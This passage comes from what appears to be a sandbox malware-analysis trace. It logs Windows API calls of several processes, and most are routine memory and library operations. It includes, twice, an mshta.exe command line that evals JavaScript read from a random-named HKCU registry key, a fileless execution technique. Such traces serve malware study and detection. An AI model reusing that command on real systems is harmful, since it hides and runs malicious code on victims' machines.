dwFlags=0x0, lpMem=0x785128 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x785090 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x785028 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x784fc0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7693b0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ea90 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ea38 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78e230 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78da28 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d998 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77bc70 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b2280 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7734b8 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77fb40 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7691d0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79e010 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79e058 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3b30 | out: hHeap=0x750000) returned 1 [0033.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78aba0 | out: hHeap=0x750000) returned 1 [0033.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79e0a0 | out: hHeap=0x750000) returned 1 [0033.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b7a0 | out: hHeap=0x750000) returned 1 [0033.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b7b8 | out: hHeap=0x750000) returned 1 [0033.498] GetCurrentThreadId () returned 0x10c [0033.498] DestroyWindow (hWnd=0x3026c) returned 1 [0033.498] NtdllDefWindowProc_W () returned 0x0 [0033.498] NtdllDefWindowProc_W () returned 0x0 [0033.498] NtdllDefWindowProc_W () returned 0x0 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x783bd8 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d808 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b890 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.499] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x783370 | out: hHeap=0x750000) returned 1 [0033.499] SetEvent (hEvent=0x17c) returned 1 [0033.500] GetCurrentThreadId () returned 0x10c [0033.500] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x1388) returned 0x0 [0033.500] GetExitCodeThread (in: hThread=0x15c, lpExitCode=0x40fcdc | out: lpExitCode=0x40fcdc) returned 1 [0033.501] CActiveIMMAppEx_Trident:IUnknown:Release (This=0x79a170) returned 0x0 [0033.501] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.501] ReleaseActCtx (in: hActCtx=0x7838a4 | out: hActCtx=0x7838a4) [0033.501] FreeLibrary (hLibModule=0x72760000) returned 1 [0033.501] FreeLibrary (hLibModule=0x72760000) returned 1 [0033.510] UnregisterClassW (lpClassName=0xc096, hInstance=0x73350000) returned 1 [0033.510] UnregisterClassW (lpClassName=0xc055, hInstance=0x73350000) returned 1 [0033.510] OleUninitialize () [0033.513] DestroyWindow (hWnd=0x50134) returned 1 [0033.513] NtdllDefWindowProc_W () returned 0x0 [0033.514] PostQuitMessage (nExitCode=0) [0033.522] DllCanUnloadNow () returned 0x1 [0033.522] DllCanUnloadNow () returned 0x1 [0033.644] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0033.644] EtwUnregisterTraceGuids () returned 0x0 [0033.644] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0033.644] EtwUnregisterTraceGuids () returned 0x0 [0033.644] ??3@YAXPAX@Z () returned 0x1 [0033.644] free (_Block=0x1cd880) [0033.647] NtdllDefWindowProc_W () returned 0x0 [0033.647] FreeLibrary (hLibModule=0x73350000) returned 1 [0033.648] GetCurrentThreadId () returned 0x10c [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7734d8 | out: hHeap=0x750000) returned 1 [0033.649] DeleteObject (ho=0x730a06b8) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78bb18 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b638 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78bf28 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78bda0 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78b358 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76f490 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d210 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77ffc8 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78c9b0 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.649] DeleteObject (ho=0xc080a1d) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d240 | out: hHeap=0x750000) returned 1 [0033.649] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d1b0 | out: hHeap=0x750000) returned 1 [0033.649] EtwUnregisterTraceGuids () returned 0x0 [0033.649] EtwUnregisterTraceGuids () returned 0x0 [0033.650] EtwEventUnregister () returned 0x0 [0033.650] EtwEventUnregister () returned 0x0 [0033.650] CloseHandle (hObject=0xbc) returned 1 [0033.650] UnmapViewOfFile (lpBaseAddress=0x150000) returned 1 [0033.650] CloseHandle (hObject=0x100) returned 1 [0033.650] LocalFree (hMem=0x76ea38) returned 0x0 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.650] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x773eb8 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76e830 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x763de0 | out: hHeap=0x750000) returned 1 [0033.651] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76ea78 | out: hHeap=0x750000) returned 1 [0033.651] FreeLibrary (hLibModule=0x769d0000) returned 1 [0033.651] FreeLibrary (hLibModule=0x74210000) returned 1 [0033.651] free (_Block=0x1c2640) [0033.668] GetModuleHandleA (lpModuleName="mscoree.dll") returned 0x0 [0033.668] ExitProcess (uExitCode=0x0) Thread: id = 16 os_tid = 0xc0 Thread: id = 19 os_tid = 0x24c [0030.680] GetCurrentThreadId () returned 0x24c [0030.681] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x73350000 [0030.681] CoInitialize (pvReserved=0x0) returned 0x0 [0030.681] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x927c0) returned 0x0 [0033.340] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1006) returned 0x7b9590 [0033.341] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a13a0 [0033.341] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x16) returned 0x7ac790 [0033.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7b9590, cbMultiByte=8, lpWideCharStr=0x7ac794, cchWideChar=8 | out: lpWideCharStr="7885789") returned 8 [0033.341] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x108) returned 0x7ba5a0 [0033.341] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x927c0) returned 0x0 [0033.342] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x927c0) returned 0x0 [0033.500] CoUninitialize () [0033.500] FreeLibraryAndExitThread (hLibModule=0x73350000, dwExitCode=0x0) [0033.500] GetCurrentThreadId () returned 0x24c Thread: id = 21 os_tid = 0x78c [0031.306] GetCurrentThreadId () returned 0x78c Thread: id = 22 os_tid = 0x2ac [0031.515] GetCurrentThreadId () returned 0x2ac Thread: id = 23 os_tid = 0x764 [0031.516] GetCurrentThreadId () returned 0x764 Process: id = "7" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x33080000" os_pid = "0x35c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xab0" cmd_line = "mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x664 [0028.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3cfddc | out: lpSystemTimeAsFileTime=0x3cfddc*(dwLowDateTime=0x378c6200, dwHighDateTime=0x1d5ddc0)) [0028.842] GetCurrentProcessId () returned 0x35c [0028.842] GetCurrentThreadId () returned 0x664 [0028.842] GetTickCount () returned 0x11523f5 [0028.842] QueryPerformanceCounter (in: lpPerformanceCount=0x3cfdd4 | out: lpPerformanceCount=0x3cfdd4*=17060816654) returned 1 [0028.842] GetModuleHandleA (lpModuleName=0x0) returned 0xd80000 [0028.842] GetStartupInfoA (in: lpStartupInfo=0x3cfce8 | out: lpStartupInfo=0x3cfce8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.842] GetVersionExA (in: lpVersionInformation=0x3cfd38*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3cfd38*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.842] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x8e0000 [0028.843] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0028.843] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0028.843] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0028.843] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0028.843] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0028.843] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.843] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.843] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.843] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.843] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.843] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.843] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.844] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.844] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.844] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.844] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.844] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7542004f [0028.844] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.844] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.845] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.845] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.845] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.845] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.845] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.845] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.846] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.846] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.846] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.846] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.846] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.846] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.847] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.847] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.848] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.848] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.848] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.848] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.848] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x214) returned 0x8e07d0 [0028.848] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.848] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.849] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.849] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.849] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.849] GetStartupInfoA (in: lpStartupInfo=0x3cfc6c | out: lpStartupInfo=0x3cfc6c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.849] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x480) returned 0x8e09f0 [0028.849] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0028.849] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0028.849] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0028.849] SetHandleCount (uNumber=0x20) returned 0x20 [0028.849] GetCommandLineA () returned="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"" [0028.849] GetEnvironmentStringsW () returned 0x4b01f0* [0028.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0028.849] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x565) returned 0x8e0e78 [0028.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x8e0e78, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0028.849] FreeEnvironmentStringsW (penv=0x4b01f0) returned 1 [0028.849] GetLastError () returned 0x0 [0028.849] SetLastError (dwErrCode=0x0) [0028.849] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] GetACP () returned 0x4e4 [0028.850] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x220) returned 0x8e13e8 [0028.850] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3cfc44 | out: lpCPInfo=0x3cfc44) returned 1 [0028.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3cf710 | out: lpCPInfo=0x3cf710) returned 1 [0028.850] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x3cf6a0 | out: lpCharType=0x3cf6a0) returned 1 [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x3cf488, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.850] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x3cf724 | out: lpCharType=0x3cf724) returned 1 [0028.850] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x3cf428, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Øࡼ쾗Ā") returned 256 [0028.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Øࡼ쾗Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0028.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Øࡼ쾗Ā", cchSrc=256, lpDestStr=0x3cf218, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 